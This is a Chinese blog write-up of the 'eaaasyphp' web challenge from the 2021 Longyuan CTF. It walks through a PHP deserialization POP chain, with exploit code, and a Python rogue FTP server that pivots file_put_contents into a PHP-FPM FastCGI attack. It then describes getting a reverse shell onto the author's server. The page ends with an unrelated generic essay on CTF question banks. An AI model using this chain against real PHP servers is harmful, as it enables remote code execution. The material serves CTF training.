陇原战“疫“2021网络安全大赛的一道web

eaaasyphp

再也不相信easy这个单词了,这是一道看似简单的php反序列化的题目,其中暗藏杀机!

<?php

class Check {
    public static $str1 = false;
    public static $str2 = false;
}


class Esle {
    public function __wakeup()
    {
        Check::$str1 = true;
    }
}


class Hint {

    public function __wakeup(){
        $this->hint = "no hint";
    }

    public function __destruct(){
        if(!$this->hint){
            $this->hint = "phpinfo";
            ($this->hint)();
        }  
    }
}


class Bunny {

    public function __toString()
    {
        if (Check::$str2) {
            if(!$this->data){
                $this->data = $_REQUEST['data'];
            }
            file_put_contents($this->filename, $this->data);
        } else {
            throw new Error("Error");
        }
    }
}

class Welcome {
    public function __invoke()
    {
        Check::$str2 = true;
        return "Welcome" . $this->username;
    }
}

class Bypass {

    public function __destruct()
    {
        if (Check::$str1) {
            ($this->str4)();
        } else {
            throw new Error("Error");
        }
    }
}

if (isset($_GET['code'])) {
    unserialize($_GET['code']);
} else {
    highlight_file(__FILE__);
}

法一

有个Hint类,看样子好像是看phpinfo()的,直接看看

绕过__wake()的方法有两个,一个是把属性的值故意修改减少,或者把对象O修改为C,至于为什么这样可以去百度了解,不解释了,以前做题经常碰到。

 

一般我拿到phpinfo()会先看flag再看disable_functions,还有一个opne_basedir。但是都无果,这里我忽略了一个最重要的点,就是没看它的API,我们咋一看Fastcgi,这个玩意儿我前几天刚做完蓝帽的那个题目也是利用这个,不用怀疑,这个题目和那个题目的联系千丝万缕。

但是我一直想找一个非预期,但是失败了,讲讲开始我的思路。 如果光是看反序列化的话,这是一个比较传统的POP链的题目,所以我们先构造链子,目的函数在file_put_contents()

class Bypass {

    public function __destruct()
    {
        if (Check::$str1) {
            ($this->str4)();
        } else {
            throw new Error("Error");
        }
    }
}

 __destruct()Hint类和Bypass类中都出现了,但是由于Hint类限制的有点多,所以我们入口选择Bypass类,Bypass需要绕过$str1=false

class Esle {
    public function __wakeup()
    {
        Check::$str1 = true;
    }
}

这里我们直接在Bypass中实例化一次Esle类就可以绕过if判断,PHP反序列化不熟的可以看我以前文章,就不细分析了,看到这个把对象本身当函数调用我们知道可以触发__invoke()

class Welcome {
    public function __invoke()
    {
        Check::$str2 = true;
        return "Welcome" . $this->username;
    }
}

 在Welcomeinvoke()username被当作字符串输出,所以可以触发__toString()

class Bunny {

    public function __toString()
    {
        if (Check::$str2) {
            if(!$this->data){
                $this->data = $_REQUEST['data'];
            }
            file_put_contents($this->filename, $this->data);
        } else {
            throw new Error("Error");
        }
    }
}

最后我们能到达了file_put_contents()函数。在这里我们能控制datafilename

所以我们最后构造的链子为:

入口 --> Bypass::__destruct() --> Welcome::__invoke() --> Bunny::__toString() --> file_put_contents()

构造的exp如下,

<?php



class Esle {
    public function __wakeup()
    {
        Check::$str1 = true;
    }
}




class Bunny {

    public function __toString()
    {
        if (Check::$str2) {
            if(!$this->data){
                $this->data = $_REQUEST['data'];
            }
            file_put_contents($this->filename, $this->data);
        } else {
            throw new Error("Error");
        }
    }
}

class Welcome {
    public function __invoke()
    {
        Check::$str2 = true;
        return "Welcome" . $this->username;
    }
}

class Bypass {

	public function __construct()
	{
		$this->errorr0 = new Esle();
	}
}

$a = new Bypass();
$b =new Welcome();
$c = new Bunny();
$a->str4 = $b;
$b->username = $c;
$c->filename="/tmp/1.txt";
$c->data="123";

echo urlencode(serialize($a));

其实这里最直观思路的就是写马了,但是不知道为什么文件写不进去网站目录,连简单的文件都写不进去,写到其它目录下又不能访问不知道写成功没。所以我们想用Fastcgi来做,用file_put_contents攻击PHP-FPM,但是我当时做蓝帽杯利用的Fastcgi是构造了恶意的动态库.so文件上传到一个路径下,但是这里如果我们无法写文件就要换一个思路走。

看了很多师傅的wp,都是利用gopherus这个工具生成的payload利用中间人也就是我们的服务器开启一个恶意的FTP,转发恶意FTP触发指令,最后我们构造一个弹shell的指令,就可以把shell弹到我们的服务器上来了。

首先我们在服务器上开启一个恶意的FTP服务,该代码如下,蓝帽杯写过,

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 9999)) #9999端口是你的服务器开的,可以任意改
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

再在gopherus生成payload,我们取gopher协议后面的数据流即可,这里我们用的是FTP服务器,所以用ftp协议

 最后只要开启服务器的监听和ftp,再将payload放入exp中,把生成反序列化打入题目中的code,即可反弹shell,

弹出来了,后面就简单了,直接查询flag就行了。

法二 

在第一种方法拿到的结果下我查了一下/tmp目录,因为前面我尝试过写文件,在var/www/html下失败了,也尝试在/tmp目录下写了,但是由于它没有回显我不知道写没写入,现在一看1.txt写进去了,那么我们可以用蓝帽杯题的那个方法,把恶意动态库.so写一个反弹shell的文件把编译的文件内容复制写入/tmp目录再利用脚本跑出payload打入即可,这里不演示了,有兴趣可以看我写的蓝帽杯那题的解法思路[蓝帽杯 2021]One Pointer PHP_errorr0的博客-CSDN博客 

参考:[陇原战疫2021网络安全大赛]eaaasyphp-爱代码爱编程

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
### 回答1: CTF网络安全大赛理论题库是一个包含各类网络安全相关理论问题的题库。这个题库广泛覆盖了网络安全的各个领域,包括但不限于密码学、漏洞利用、网络协议、逆向工程、Web安全等。 理论题库的设计意在检验参赛者对网络安全的理论知识的了解程度。通过解答这些理论问题,参赛者需要展现对网络安全原理的掌握,并能够灵活运用这些知识来解决实际问题。 对于密码学的题目,参赛者需要了解常见的加密算法,例如对称加密算法(如DES、AES),非对称加密算法(如RSA、ECC),以及哈希函数等。同时,还需要了解不同加密算法的优缺点以及应用场景。 在漏洞利用方面,参赛者需要对常见的漏洞类型有基本的了解,例如缓冲区溢出、SQL注入、XSS攻击等。此外,还需要熟悉漏洞利用的方法和工具,如Metasploit、Nmap等。 对于网络协议题目,参赛者需要熟悉各种常见的网络协议,例如TCP/IP、HTTP、FTP、SMTP等,并且了解这些协议的工作原理、特点以及可能存在的安全风险。 在逆向工程方面,参赛者需要具备基本的汇编语言知识,能够分析和理解二进制文件的结构和功能,并能够根据需求对其进行修改和定制。 Web安全是CTF竞赛中一大重要的领域。对于Web安全题目,参赛者需要了解常见的Web漏洞类型,如SQL注入、跨站脚本(XSS)、跨站请求伪造(CSRF)等,并掌握相应的防御策略和工具使用。 综上所述,CTF网络安全大赛理论题库的目的在于考察参赛者对于网络安全的理论知识和实际应用的掌握程度。这些理论问题的解答能够帮助参赛者更好地理解和应对实际的网络安全挑战。 ### 回答2: CTF网络安全大赛理论题库是为网络安全领域的竞技比赛而准备的一系列理论问题集合。这些问题旨在测试参赛者对于网络安全概念、技术和方法的理解和掌握程度。 题库的内容通常涵盖各个方面的网络安全知识,包括但不限于网络攻防技术、密码学、漏洞利用、逆向工程、数据分析和取证等。参赛者需要将所学知识应用到实际问题中,通过解答问题或完成任务来获取积分。 CTF网络安全大赛理论题库的目的是帮助参赛者提高他们的技能和知识水平。通过解答这些理论问题,参赛者能够巩固自己的理论基础,拓宽自己的技术视野,了解网络安全的最新动态和趋势。 参加CTF网络安全大赛的选手应该在备赛阶段充分熟悉题库中的问题,并通过学习和实践来解决这些问题。题库中的问题涉及的知识领域广泛,所以选手需要有全面的网络安全知识储备和技术实践经验。 总之,CTF网络安全大赛理论题库是参赛者为了更好地参与比赛而应准备的一系列理论问题集合。通过对这些问题的认真研究和解答,参赛者可以提高自己在网络安全领域的技术实力和知识水平。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

errorr0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值